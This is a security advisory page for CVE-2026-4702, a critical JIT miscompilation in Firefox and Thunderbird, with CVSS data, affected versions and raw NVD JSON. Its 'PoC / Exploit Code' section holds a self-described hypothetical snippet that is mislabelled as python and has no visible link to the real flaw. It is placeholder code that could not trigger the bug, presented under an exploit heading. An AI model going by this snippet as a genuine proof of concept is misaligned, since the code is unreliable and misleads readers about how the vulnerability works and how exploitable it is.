Security Vulnerability Report
中文
CVE-2026-4702 CVSS 9.8 CRITICAL

CVE-2026-4702

Published: 2026-03-24 13:16:06
Last Modified: 2026-04-13 15:17:40

Description

JIT miscompilation in the JavaScript Engine component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Firefox < 149
Firefox ESR < 140.9
Thunderbird < 149
Thunderbird < 140.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/** * Conceptual Proof of Concept for JIT Miscompilation * This script attempts to trigger a JIT optimization bug. * Note: Actual exploit code requires specific memory layout and ROP chains. */ function triggerOptimization(arr) { // Force JIT compilation by creating a hot function let x = arr[0] | 0; // Integer conversion hint let y = arr[1]; // Vulnerable logic pattern (Hypothetical) if (x > 1000) { return arr[x + y]; // Potential out-of-bounds access if miscompiled } return 0; } // Warm up phase to trigger JIT compilation const maliciousArray = [1.1, 2.2, 3.3]; for (let i = 0; i < 10000; i++) { triggerOptimization(maliciousArray); } // Exploitation attempt console.log("[+] Attempting to trigger vulnerability..."); triggerOptimization(new Array(2048).fill(1.1)); console.log("[+] If successful, the browser may crash or execute code.");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4702", "sourceIdentifier": "[email protected]", "published": "2026-03-24T13:16:06.207", "lastModified": "2026-04-13T15:17:39.957", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "JIT miscompilation in the JavaScript Engine component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9."}, {"lang": "es", "value": "Compilación JIT errónea en el componente del motor JavaScript. Esta vulnerabilidad afecta a Firefox &lt; 149, Firefox ESR &lt; 140.9, Thunderbird &lt; 149, y Thunderbird &lt; 140.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-843"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.9.0", "matchCriteriaId": "DA62D95E-CB01-4586-83DB-5094116FC939"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "149.0", "matchCriteriaId": "02F2B82F-E997-4D5F-BBB0-237E4962555B"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2013560", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-20/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-22/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-23/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-24/", "source": "[email protected]"}]}}